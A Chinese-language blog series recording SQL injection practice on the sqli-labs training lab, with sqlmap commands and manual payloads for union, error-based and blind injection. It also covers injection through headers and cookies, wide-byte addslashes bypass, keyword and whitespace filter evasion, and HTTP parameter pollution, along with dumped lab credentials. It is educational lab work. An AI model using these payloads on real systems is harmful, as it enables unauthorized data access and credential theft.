2021年9月30日 星期四

sqlmap使用心得

前言

在 從sqli-labs學習SQL注入(Less1-Less6) 的系列中,展示了手動注入,這篇文章將使用sqlmap注入

安裝

安裝python

我的windows 10 電腦已經裝過了(Python 3.8.6),這裡略過

下載sqlmap

$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
然後以下的操作都在 sqlmap-dev 資料夾下操作

sqli-labs

Less-1(基於GET的注入)

聯合查詢注入

檢查注入點

$ python sqlmap.py -u "http://sqlilabs.bt/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
...
對於剩餘的測試,您想要包括所有針對 "MySQL" 擴展提供的級別(1)和風險(1)值的測試嗎? [Y/n] 輸入"Y"
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
...
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
...
GET參數'id'是弱點。你想要繼續測試其他的(如果有)?
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]  N 
發現id是聯合查詢注入(UNION query)的弱點
sqlmap identified the following injection point(s) with a total of 29 HTTP(s) requests:
---
Parameter: id (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-7535' UNION ALL SELECT NULL,CONCAT(0x71766b6271,0x644d6a4547546f724e4f6a5943474779796379665674464b4a496f76655865696472594b54466848,0x7171627871),NULL-- -
    Vector:  UNION ALL SELECT NULL,[QUERY],NULL-- -
---
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.0
可以查出使用的是nginx和大概的MySQL版本(我的環境是MySQL 5.6)

--technique=TECH - SQL注入技術測試(默認B布爾、E報錯、U聯合查詢、S、T延時)
--dbms=DBMS  - 強制後端的DBMS為此值
--random-agent - 使用隨機選定的HTTP User Agent Header
--flush-session - 刷新當前目標的會話文件
-v VERBOSE - 詳細級別:0-6(默認為1)。3:有效載荷注入。

列庫

$ python sqlmap.py -u "http://sqlilabs.bt/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3 --dbs
...
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] security

列表

$ python sqlmap.py -u "http://sqlilabs.bt/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3 -D security --tables
Database: security
[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+

列出表中字段

$ python sqlmap.py -u "http://sqlilabs.bt/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3 -D security -T users --columns
Database: security
Table: users
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(3)      |
| password | varchar(20) |
| username | varchar(20) |
+----------+-------------+

dump資料

$ python sqlmap.py -u "http://sqlilabs.bt/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3 -D security -T users --dump
Database: security
Table: users
[8 entries]
+----+------------+----------+
| id | password   | username |
+----+------------+----------+
| 1  | Dumb       | Dumb     |
| 2  | I-kill-you | Angelina |
| 3  | p@ssword   | Dummy    |
| 4  | crappy     | secure   |
| 5  | stupidity  | stupid   |
| 6  | genious    | superman |
| 7  | mob!le     | batman   |
| 8  | admin      | admin    |
+----+------------+----------+

報錯注入

檢查注入點

$ python sqlmap.py -u "http://sqlilabs.bt/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=E -v 3
...
sqlmap identified the following injection point(s) with a total of 6 HTTP(s) requests:
---
Parameter: id (GET)
    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: id=1' AND EXTRACTVALUE(7938,CONCAT(0x5c,0x7176786a71,(SELECT (ELT(7938=7938,1))),0x716b626b71)) AND 'uYoJ'='uYoJ
    Vector: AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
---

發現id是報錯注入(error-based)的注入點
其他【列庫】、【列表】、【列字段】、【列值】和上面一樣

布爾盲注

$ python sqlmap.py -u "http://sqlilabs.bt/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=B -v 3
...
sqlmap identified the following injection point(s) with a total of 19 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 8085=8085 AND 'ZUiE'='ZUiE
    Vector: AND [INFERENCE]
---
發現id是布爾盲注(boolean-based blind)的注入點

延時盲注

$ python sqlmap.py -u "http://sqlilabs.bt/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=T -v 3
...
sqlmap identified the following injection point(s) with a total of 43 HTTP(s) requests:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 2422 FROM (SELECT(SLEEP(5)))mFjj) AND 'mKHO'='mKHO
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
---
發現id是延時盲注(time-based blind)的注入點
延時盲注是實務上最強的注入方式(聯合查詢注入因不輸出查詢結果而不能使用、報錯注入因不輸出mysql_error()報錯而不能使用、布爾盲注因true和false都輸出同樣的結果而不能使用),但是在跑sqlmap時因為要sleep(),所以也是最花時間的

Less-11(基於POST的注入)

聯合查詢注入

檢查注入點(使用-r)

將 Burpsuite 截取的數據包內容保持為文本格式,如: sqli-labs-less-11.txt 然後放到 sqlmap-dev 資料夾(即sqlmap資料夾)下
POST /Less-11/ HTTP/1.1
Host: sqlilabs.bt
Content-Length: 37
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://sqlilabs.bt
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://sqlilabs.bt/Less-11/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

uname=admin&passwd=2333&submit=Submit
然後直接使用 sqlmap 的 -r 參數來加載這個請求包:
$ python sqlmap.py -r sqli-labs-less-11.txt --dbms=MySQL --random-agent --flush-session --technique=U -v 3
...
POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 28 HTTP(s) requests:
---
Parameter: uname (POST)
    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: uname=admin%' UNION ALL SELECT NULL,CONCAT(0x7170706271,0x485079745259634d616679727a597655584e76474c6748725a586d616d6f7a62676f4d7448794247,0x7178706a71)#&passwd=2333&submit=Submit
    Vector:  UNION ALL SELECT NULL,[QUERY]#
---
發現uname是聯合查詢注入(UNION query)的注入點

-r REQUESTFILE - 從一個文件中載入HTTP請求

檢查注入點(使用--data)

$ python sqlmap.py -u "http://sqlilabs.bt/Less-11/" --data="uname=admin&passwd=2333&submit=Submit" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
...
POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 28 HTTP(s) requests:
---
Parameter: uname (POST)
    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: uname=admin%' UNION ALL SELECT CONCAT(0x717a7a6a71,0x68556c4f5158426e5279434e756f6d504869485945715773746444554a4653794358484c65656c6a,0x7178767a71),NULL#&passwd=2333&submit=Submit
    Vector:  UNION ALL SELECT [QUERY],NULL#
---
一樣可以發現uname是聯合查詢注入(UNION query)的注入點

--data=DATA - 通過POST發送的數據字符串
-p TESTPARAMETER - 可測試的參數

Less-18(基於User-Agent 請求頭的注入)

報錯注入

檢查注入點(使用-r)

將 Burpsuite 截取的數據包內容保持為文本格式,如: sqli-labs-less-18.txt 然後放到 sqlmap-dev 資料夾(即sqlmap資料夾)下,然後手動通過 * 來標記注入點: User-Agent: * 
POST /Less-18/ HTTP/1.1
Host: sqlilabs.bt
Content-Length: 38
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://sqlilabs.bt
Content-Type: application/x-www-form-urlencoded
User-Agent: *
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://sqlilabs.bt/Less-18/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

uname=admin&passwd=admin&submit=Submit

$ python sqlmap.py -r sqli-labs-less-18.txt --dbms=MySQL --random-agent --flush-session --technique=E -v 0 --level=3
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (3) and risk (1) values? [Y/n] Y
parameter 'User-Agent' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 720 HTTP(s) requests:
---
Parameter: User-Agent (User-Agent)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020410 Fedora/3.0.6-1.fc9 Firefox/3.0.6'||(SELECT 0x6455485a FROM DUAL WHERE 7808=7808 AND GTID_SUBSET(CONCAT(0x717a627671,(SELECT (ELT(1983=1983,1))),0x7171626a71),1983))||'
---
發現User-Agent 是報錯注入(error-based)的注入點

--level=3 - 必須設置level 3以上才會發現 User-Agent 是注入點
-v 0 - 只顯示Python的回溯,錯誤和關鍵消息。

Less-19(基於Referer 請求頭的注入)

報錯注入

檢查注入點(使用-r)

將 Burpsuite 截取的數據包內容保持為文本格式,如: sqli-labs-less-19.txt 然後放到 sqlmap-dev 資料夾(即sqlmap資料夾)下,然後手動通過 * 來標記注入點: Referer: * 
POST /Less-19/ HTTP/1.1
Host: sqlilabs.bt
Content-Length: 38
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://sqlilabs.bt
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: *
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

uname=admin&passwd=admin&submit=Submit

$ python sqlmap.py -r sqli-labs-less-19.txt --dbms=MySQL --random-agent --flush-session --technique=E -v 0
custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
(custom) HEADER parameter 'Referer #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 248 HTTP(s) requests:
---
Parameter: Referer #1* ((custom) HEADER)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: '||(SELECT 0x506b4f51 FROM DUAL WHERE 4198=4198 AND GTID_SUBSET(CONCAT(0x716b766a71,(SELECT (ELT(3749=3749,1))),0x716a7a6271),3749))||'
---
發現Referer 是報錯注入(error-based)的注入點

ps. 這題和Less-18不同,不需要設置 --level=3 就能找到注入點

Less-20(基於cookie的注入)

聯合查詢注入

檢查注入點(使用-r)

將 Burpsuite 截取的數據包內容保持為文本格式,如: sqli-labs-less-20.txt 然後放到 sqlmap-dev 資料夾(即sqlmap資料夾)下,然後手動通過 * 來標記注入點: Cookie: uname=admin* 
GET /Less-20/index.php HTTP/1.1
Host: sqlilabs.bt
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://sqlilabs.bt/Less-20/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: uname=admin*
Connection: close

$ python sqlmap.py -r sqli-labs-less-20.txt --dbms=MySQL --random-agent --flush-session --technique=U -v 3
...
custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] Y
...
do you want to URL encode cookie values (implementation specific)? [Y/n] n
...
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
...
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
...
(custom) HEADER parameter 'Cookie #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
...
sqlmap identified the following injection point(s) with a total of 23 HTTP(s) requests:
---
Parameter: Cookie #1* ((custom) HEADER)
    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: uname=-1413' UNION ALL SELECT NULL,CONCAT(0x71716b7871,0x48586d697a467753574470624e646c6356764a5a43507a6e66677a6761547461435a6e56564a4866,0x7176627171),NULL-- -
    Vector:  UNION ALL SELECT NULL,[QUERY],NULL-- -
---
發現Cookie #1* ((custom) HEADER) ,即uname是聯合查詢注入(UNION query)的注入點

檢查注入點(使用--cookie)

$ python sqlmap.py -u "http://sqlilabs.bt/Less-20/" --cookie="uname=admin*" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
...
[13:56:32] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q] n
custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] Y 
...
do you want to URL encode cookie values (implementation specific)? [Y/n] n
...
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
...
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
...
(custom) HEADER parameter 'Cookie #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 23 HTTP(s) requests:
---
Parameter: Cookie #1* ((custom) HEADER)
    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: uname=-4659' UNION ALL SELECT NULL,NULL,CONCAT(0x7162707671,0x555467654f774b49554a536a7154764d485445544968526362524a49536f67486a6c417161667353,0x716b627171)-- -
    Vector:  UNION ALL SELECT NULL,NULL,[QUERY]-- -
---
發現Cookie #1* ((custom) HEADER) ,即uname是聯合查詢注入(UNION query)的注入點





參考資料

https://gitbook.cn/books/5ba8393639ea516190a9b8f8/index.html  SQLMap 从入门到入狱详细指南
https://www.sqlsec.com/2020/05/sqlilabs.html  SQLI labs 靶场精简学习记录
https://www.cnblogs.com/peterpan0707007/p/7620048.html  【总结】sqli-labs Less(1-35) 小结






2021年9月29日 星期三

從sqli-labs學習SQL注入(Less31-Less35)

 接續前篇 從sqli-labs學習SQL注入(Less25-Less30) 

Less-31

和Less-29一樣,只是拼接方式從單引號改成雙引號加括號

Less-32

繞過addslashes()

不繞過是不行的payload

?id=-1' union select 1,version(),database() --+
輸出內容:Hint: The Query String you input is escaped as : -1\' union select 1,version(),database() --



源碼分析
# 在' " \ 等敏感字符前面添加反斜杠
function check_addslashes($string)
{
    # \ 轉換為 \\
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
    # 將 ' 轉為\'
    $string = preg_replace('/\'/i', '\\\'', $string);   
    # 將 " 轉為\"
    $string = preg_replace('/\"/', "\\\"", $string);                                
    return $string;
}

$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
addslashes()會在單引號前加一個\ 例如:I'm hacker 傳入check_addslashes(),得到:I\'m hacker

寬字節注入原理

MySQL 在使用 GBK 編碼的時候(mysql_query("SET NAMES gbk");),會認為兩個字符為一個漢字,例如 %aa%5c 就是一個 漢字(不需要知道%aa%5c是什麼漢字,只需要知道這個原理即可)。因為過濾方法主要就是在敏感字符('  "  \)前面添加 反斜杠 \,所以這裡想辦法幹掉反斜杠即可。

  • %df 吃掉 \
具體的原因是 urlencode(\') = %5c%27,我們在%5c%27 前面添加%df,形 成%df%5c%27,MySQL 在 GBK 編碼方式的時候會將兩個字節當做一個漢字,這個時候就把%df%5c 當做是一個漢字,%27 則作為一個單獨的符號在外面,同時也就達到了我們的目的。

  • \' 中的 \ 過濾掉
例如可以構造 %5c%5c%27 的情況,後面的%5c會被前面的%5c 給註釋掉。這也是 bypass 的一種方法。

本關卡採用第一種 %df 寬字節注入來吃掉反斜杠

當然,如果mysql連線方式不是gbk,即把 mysql_query("SET NAMES gbk"); 去掉,下面的payload是注入不了的

爆庫名

?id=-1%df' union select 1,version(),database() --+
輸出內容:
Your Password:security
Hint: The Query String you input is escaped as : -1�\' union select 1,version(),database() --

爆字段

我在爆列名的時候卡了一下,分析半天語句最後想起來了, 'users' 這裡有單引號。
使用十六進制編碼就可以繞過了''使用0x 代替,users 使用十六進制編碼得到7573657273,構造為0x7573657273  
?id=-1%df' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name =0x7573657273 and table_schema=database()--+
輸出內容:Your Password:id,username,password

如何得到users的十六進制編碼

使用HackBar 或 線上工具 Online Hex Encoder ,這裡以HackBar為例

選取users(先去掉單引號)

ENCODING => Hexadecimal encode

即可將users替換成hex code 7573657273

送出(Execute)之前記得在Hex code前面加0x


Less-33

和Less-32相同,只是過濾方式從preg_replace()改成addslashes(),拼接方式不變,用Less-32的payload即可

Less-34

Less-11 和 Less-32 的變形,就是在 Less-11 的基礎上對傳入參數做了 addslashes()過濾,當然MySQL也是使用了GBK連線(mysql_query("SET NAMES gbk");)才能注入。然後這題是POST,所以需要使用到burp suite

意外的錯誤

我在解這題時用這個payload
uname=admin%df' union select version(),database()--+&passwd=admin&submit=Submit
遇到了這個錯誤
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (gbk_chinese_ci,COERCIBLE) for operation '='

原因

users表的username字段的定序(COLLATE)是latin1_swedish_ci造成的,把該字段的字元集(CHARACTER)和定序(COLLATE)改為gbk和gbk_chinese_ci 或 utf8和utf8_general_ci 或utf8mb4和utf8mb4_unicode_ci 即可。Less-32和Less-33 沒遇到這個問題是因為對id(int)注入,而users.username 是varchar

或是用這方式重啟mysql 容器
# docker run -p 23306:3306 --name my-mysql-5.6 -v /root/my-mysql-5.6:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=xxx -d mysql:5.6 --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci
會把 character_set_server 從 latin1 改成 utf8mb4 
collation_server 從 latin1_swedish_ci 改成 utf8mb4_unicode_ci
然後刪 security 庫重新匯入SQL

爆庫名

uname=admin%df' union select version(),database()--+&passwd=admin&submit=Submit

輸出內容:Your Password:security 

Less-35

為什麼你要在乎 addslashes() 
使用以下payload測試注入點
?id=1'
輸出內容:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' LIMIT 0,1' at line 1
從報錯中發現,id沒有被單引號和雙引號包著。現在你了解了本題的標題(why care for addslashes()),不需要繞過,直接注入

payload

?id=-1 union select 1,version(),database()--+
輸出內容:Your Password:security






















2021年9月28日 星期二

從sqli-labs學習SQL注入(Less25-Less30)

 接續前篇 從sqli-labs學習SQL注入(Less19-Less24) 

Less-25

和Less-1相比,源碼過濾了 or 和 and 關鍵詞
$id= preg_replace('/or/i',"", $id);         //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id);        //Strip out AND (non case sensitive)

聯合盲注

爆值

以爆值password字段為例,這邊需要寫二次繞過(password寫成passwoorrd)
?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+
輸出內容:
Your Password:Dumb~Dumb,Angelina~I-kill-you,Dummy~p@ssword,secure~crappy,stupid~stupidity,superman~genious,batman~mob!le,admin~admin

測試注入點payload

?id=0' oorr 1=1 --+
?id=2' aandnd 1=1 --+

Less-25a

與 Less-25 相比,只是拼接方式改變,因為代碼中沒有輸出報錯信息,所以也無法進行報錯注入,其他利用方式都是一樣的

Less-26

源碼分析
# 過濾了 or 和 and 大小寫
$id= preg_replace('/or/i',"", $id);         //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)
# 過濾了 /*
$id= preg_replace('/[\/\*]/',"", $id);      //strip out /*
# 過濾了 -- 和 # 註釋
$id= preg_replace('/[--]/',"", $id);        //Strip out --
$id= preg_replace('/[#]/',"", $id);         //Strip out #
# 過濾了空格
$id= preg_replace('/[\s]/',"", $id);        //Strip out spaces
# 過濾了斜線
$id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
過濾了 or 和 and 可以採用 雙寫或者 && || 繞過
過濾註釋 可以使用閉合繞過
過濾了空格 可以使用如下的符號來替代:
符號說明
%09TAB 鍵(水平)
%0a新建一行
%0c新的一頁
%0dreturn 功能
%0bTAB 鍵(垂直)
%a0空格

國光payload

?id=100'%0bunion%0bselect%0b1,(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,passwoorrd,0x3c62723e))))x),3%0baandnd%0b'1'='1
輸出內容:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'unionselect1,(SELECT(@x)FROM(SELECT(@x:=0x00),(SELECT(@x)FROM(users)WHERE(@x)IN(' at line 1
我的系統是CentOS 7.9 + nginx + php 5.6,用 %0b 繞過解這一題會報錯,改用 %a0 解題
 
?id=100'%a0union%a0select%a01,(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,0x3a,passwoorrd,0x3c62723e))))x),3%a0aandnd%a0'1'='1
輸出內容:Your Login name: Dumb:Dumb
Angelina:I-kill-you
Dummy:p@ssword
secure:crappy
stupid:stupidity
superman:genious
batman:mob!le
admin:admin
成功繞過

Less-26a

與 Less-26 相比,只是拼接方式改變了,從單引號改成單引號加括號,因為沒有輸出報錯信息,所以不能使用報錯注入了

Less-27

過濾規則又增加了許多
# 過濾了 /*
$id= preg_replace('/[\/\*]/',"", $id);
# 過濾了 -
$id= preg_replace('/[--]/',"", $id);
# 過濾了 #
$id= preg_replace('/[#]/',"", $id);
# 過濾了空格
$id= preg_replace('/[ +]/',"", $id);
# 過濾了 select /m 嚴格模式 不可以使用雙寫繞過
$id= preg_replace('/select/m',"", $id);
$id= preg_replace('/select/s',"", $id);
$id= preg_replace('/Select/s',"", $id);
$id= preg_replace('/SELECT/s',"", $id);

# 過濾了 union UNION
$id= preg_replace('/union/s',"", $id);
$id= preg_replace('/Union/s',"", $id);
$id= preg_replace('/UNION/s',"", $id);
union 和 select 沒有忽略大小寫 導致寫了很多冗雜的規則,但還是可以輕易繞過。
# 大小寫混寫
unioN
unIon
seLect
...

# 嵌套雙寫
uunionnion
sselectelect
ununionion
...

payload

?id=100'%a0ununionion%a0seLect%a01,(seLect(@x)FROM(seLect(@x:=0x00) ,(seLect(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,0x3a,password,0x3c62723e))))x),3%a0and%a0'1
輸出內容:
Your Login name: Dumb:Dumb
Angelina:I-kill-you
Dummy:p@ssword
secure:crappy
stupid:stupidity
superman:genious
batman:mob!le
admin:admin

Less-27a

和 Less-27 相比,只是拼接方式發生了改變,從單引號改成雙引號,又因為沒有報錯日誌的輸出,所以少了報錯注入的利用方式,利用方式換湯不換藥

Less-28

過濾規則如下
# 過濾 /*
$id= preg_replace('/[\/\*]/',"", $id);

# 過濾 - # 註釋
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);

# 過濾 空格 +
$id= preg_replace('/[ +]/',"", $id);.

# 過濾 union select /i 大小寫都過濾
$id= preg_replace('/union\s+select/i',"", $id);
這裡 union 和 select 這裡可以使用雙寫嵌套繞過,過濾了註釋的話 就使用閉合繞過,過濾了空格使用 Less-26 的編碼繞過

payload

?id=100')%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(username,0x3a,password%a0SEPARATOR%a00x3c62723e)%a0FROM%a0users),3%a0and%a0('1
輸出內容:
Your Login name:Dumb:Dumb
Angelina:I-kill-you
Dummy:p@ssword
secure:crappy
stupid:stupidity
superman:genious
batman:mob!le
admin:admin

Less-28a

同Less-28,還少了幾個過濾規則,拼接方式都一樣。略


Less-29

這題考的觀念是,假設用戶輸入這樣的語句:
index.php?id=1&id=2
Apache PHP 會解析最後一個參數(nginx也是)
Tomcat JSP 會解析第一個參數
Less-29/login.php 模擬了nginx/apache 前面有一個jsp的防火墻,使用java_implimentation()和whitelist()檢查id這個輸入必須是數字
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
whitelist($id1);

//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
    $match = preg_match("/^\d+$/", $input);
    if($match)
    {
        //echo "you are good";
        //return $match;
    }
    else
    {   
        header('Location: hacked.php');
        //echo "you are bad";
    }
}

// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
    $q_s = $query_string;
    $qs_array= explode("&",$q_s);


    foreach($qs_array as $key => $value)
    {
        $val=substr($value,0,2);
        if($val=="id")
        {
            $id_value=substr($value,3,30); 
            return $id_value;
            echo "
"; break; } } }


失敗的payload

login.php?id=-2' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+
會跳到 hacked.php

HPP(HTTP Parameter Pollution)即 HTTP 參數污染攻擊payload

login.php?id=1&id=-2' union select 1,2,(SELECT+GROUP_CONCAT(username,0x3a,password+SEPARATOR+0x3c62723e)+FROM+users)--+
輸出內容:Your Password:Dumb:Dumb
Angelina:I-kill-you
Dummy:p@ssword
secure:crappy
stupid:stupidity
superman:genious
batman:mob!le
admin:admin

成功繞過

Less-30

和Less-29一樣,只是拼接方式從單引號改成雙引號 






















2021年9月27日 星期一

從sqli-labs學習SQL注入(Less19-Less24)

Less-19

與Less-18相同,只是漏洞在header的 Referer 裡面

報錯注入

爆值

1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((  SELECT(SELECT CONCAT(CAST(CONCAT(username,0x3a,password) AS CHAR),0x7e)) FROM users LIMIT 0,1  ),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) and '1'='1
輸出內容:Duplicate entry 'Dumb:Dumb~1' for key 'group_key'


Less-20

單引號的cookie類型注入
這是正常登錄後的樣子
由源碼得知
$cookee = $_COOKIE['uname'];
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);
查詢語句使用了cookee,我們將對cookie注入

正常的cookie是這樣子
Cookie: uname=admin;


檢查拼接方式

Cookie: uname=admin';
輸出內容:Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'' LIMIT 0,1' at line 1
由報錯得知,使用的是單引號拼接

檢查表(users)的字段數

Cookie: uname=admin' order by 1--+  // order by id
Cookie: uname=admin' order by 2--+  // order by username
Cookie: uname=admin' order by 3--+  // order by password

Cookie: uname=admin' order by 4--+  // 4會報錯,所以確認這個表的字段數是3
輸出內容:Issue with your mysql: Unknown column '4' in 'order clause'  

聯合盲注

爆庫

Cookie: uname=-admin' union select 1,2,database()--+
輸出內容:Your Password:security
其他的payload可以參考Less-1的結構,這是非常相似的問題,如:

爆庫名

Cookie: uname=-admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
輸出內容:Your Password:emails,referers,uagents,users

高級注入姿勢(Less 21-37)

Less-21

base64編碼的cookie注入,拼接方式單引號加括號
這是正常登錄後的樣子
uname = YWRtaW4= 顯然是base64加密,解碼出來是admin,就是你登錄的用戶名
所以猜測這題是對cookie字串的加密問題
在查了php源碼後,你只需在你的payload做base64加密

檢查注入點

1=1

明文
admin') and 1=1 -- 
注意:--後面有一個空白,這個空白也要做base64加密,這邊不能用--+
密文
YWRtaW4nKSBhbmQgMT0xIC0tIA==


1=0

明文
admin') and 1=0 -- 
密文
YWRtaW4nKSBhbmQgMT0wIC0tIA==

聯合盲注

爆表名

明文
-admin') union select 1,2,database() -- 
密文
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIC0tIA==
輸出內容:Your Password:security

其他的不重複,注入完成

Less-22

和Less-21一樣,只是拼接方式從單引號加括號改成雙引號 

聯合盲注

爆庫名

明文
-admin" union select 1,2,database() -- 
密文
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkgLS0g
輸出內容:Your Password:security

Less-23

和Less-1相比,源碼過濾了注釋符號,
$id=$_GET['id'];

//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

聯合盲注

爆庫名

?id=' union select 1,2,database() '
輸出內容:Your Password:security 

